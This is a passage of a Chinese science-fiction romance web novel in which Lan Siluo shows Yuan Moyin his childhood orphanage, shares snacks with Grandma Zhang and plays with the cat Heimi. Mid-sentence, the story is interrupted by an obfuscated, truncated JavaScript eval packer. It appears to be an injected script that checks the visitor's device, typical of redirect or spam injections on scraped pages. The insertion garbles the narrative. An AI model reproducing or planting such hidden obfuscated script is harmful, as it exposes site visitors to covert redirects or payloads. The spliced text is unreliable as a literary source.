兰司珞回忆起刚才的作战。元墨洇不像他那样使出各种各样的招式,而是在他一次次进攻和防御的时候,恰到好处地击中最关键的地方,使他一次次溃败。 “这里是图书馆,按照规定,每天必须有两个小时的读书时间。我喜欢躲在书架的角落睡觉,老是被逮到,还会被罚做读书分享会,我就总给他们讲机甲战斗视频的分析,就是那时候认识的赫帆。” “走廊上的头像我们都认识,这是元九针和冷辰一,一个创造了孕育舱,一个建立了珍辰之家。我从小就在想,我们这些没有父母的孩子,算不算他们俩的孩子呢?” 元墨洇看着元九针与她一模一样的黑发和银色眼睛,没有言语。黑咪听得津津有味,不知不觉主动团在了兰司珞脚边。 兰司珞兴致勃勃地带着元墨洇走完所有房间,回头才发现张奶奶切好了水果和零食,摆了满满一桌子,笑吟吟地坐在桌旁看着他们。 兰司珞拉着元墨洇的手走过去,捻起半颗草莓:“牛奶草莓,我最喜欢的下午茶,你尝尝。” 元墨洇从他手里拿过,放到嘴里轻轻嚼动。 清甜的奶味混合着草莓的香气,很符合兰司珞一贯喜好的水果。 她慢慢吃完这半颗草莓,兰司珞已经在她面前堆出来一座小山:“这些都是我爱吃的。”他顺手拍掉黑咪伸出来的爪子。 黑咪委委屈屈地“喵”了一声,被张奶奶抱在怀里:“黑咪不生气,奶奶给你拿。” 兰司珞也不好意思起来,主动给黑咪递过一块饼干。 黑咪把头扭到一边,爪子却忘了收回去。 吃完水果和零食,兰司珞主动站起来帮张奶奶收拾东西。 张奶奶摸摸他的头:“你一定从小就是个好孩子。” “那当然。”兰司珞装作不经意地看了一眼元墨洇,炫耀道,“我每年都能拿珍辰之家的奖状。” 他昂首挺胸地端着盆子进了厨房,熟练地装入洗涤机器,并设置好合适的洗涤模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可怜的黑咪,在猫咪里也算得上身手矫捷的品种,却在兰司珞手里毫无还手之力。 它眼珠一转,在兰司珞伸手过来的时候,直接窜到了元墨洇背后,探出一双眼睛紧盯兰司珞。 在它刚才的暗中观察中,兰司珞一旦出现在这个人类身边,危险气息就会减弱。 果然兰司珞停住了动作:“墨……元医师,黑咪藏到你身后了,你别动,我过去抓它。” 元墨洇没有动作,下一秒,黑咪像是遇到了什么恐怖的危险,整只猫飞速地窜离开元墨洇身后,被兰司珞准确无误地揪在手里。 它看了看元墨洇,主动往兰司珞手里靠。 兰司珞无情嘲笑它:“你呀,谁让你去招惹得罪不起的人的,那可是……” 他的目光骄傲又得意,笑容飞扬,深深刺痛了黑咪脆弱的小心脏:“那可是我们元墨洇大人,是这个世界上最厉害的人。” 兰司珞把黑咪塞进清洁舱,关上舱门,蹲在一旁看张奶奶操作。 他想回头看元墨洇,又不敢回头看元墨洇。 其实他心里也知道,就算看了,那张脸上的表情也不会有丝毫变化,元墨洇向来是这样,外表看起来永远是那般无喜无悲,冷漠无情。 兰司珞坐回沙发上,黑咪已经清洁干净,一身长毛蓬松可爱。 张奶奶去给它拿梳毛的工具去了。 兰司珞坐在元墨洇身边,沙发很大,到处都是空位,可他偏偏就坐在这里。 他一边揉着黑咪的毛,一边开口:“你好像什么都知道,我画的闪电500,只有你认出来了。” 元墨洇没有说话。 兰司珞不甘心,继续问道:“你犯过错吗?” “嗯。” 兰司珞一惊,不小心揪下黑咪两根毛,又被黑咪踩了一脚。但黑咪没有离开他身边,在元墨洇成为这片区域最危险的人物之后,兰司珞身上反而成了最安全的地方。 兰司珞也不在意黑咪的想法,追问道:“是……考试答错题了?实验算错数据了?应该不是什么重要的事吧。” “很重要。” “啊……”正好张奶奶带着梳毛的工具来了,兰司珞手里一空,下意识拽住了元墨洇的衣袖,“那你后悔吗?” 元墨洇盯着兰司珞看了一会,对方固执地没有松开手,半晌,她回答道:“不后悔。” “也对,你是全星族联盟最厉害的元墨洇大人。” 兰司珞松开元墨洇的衣袖,起身去学张奶奶怎么给黑咪梳毛。 “你是星族联盟最年轻的少将。” 兰司珞猛地回头,元墨洇端坐在沙发上,双手交叠,目光沉静。银色的双眸像镜子一样,映出兰司珞漂亮的脸。 “原来你知道啊。”兰司珞低低笑了起来,转过身去,“原来……你知道啊。”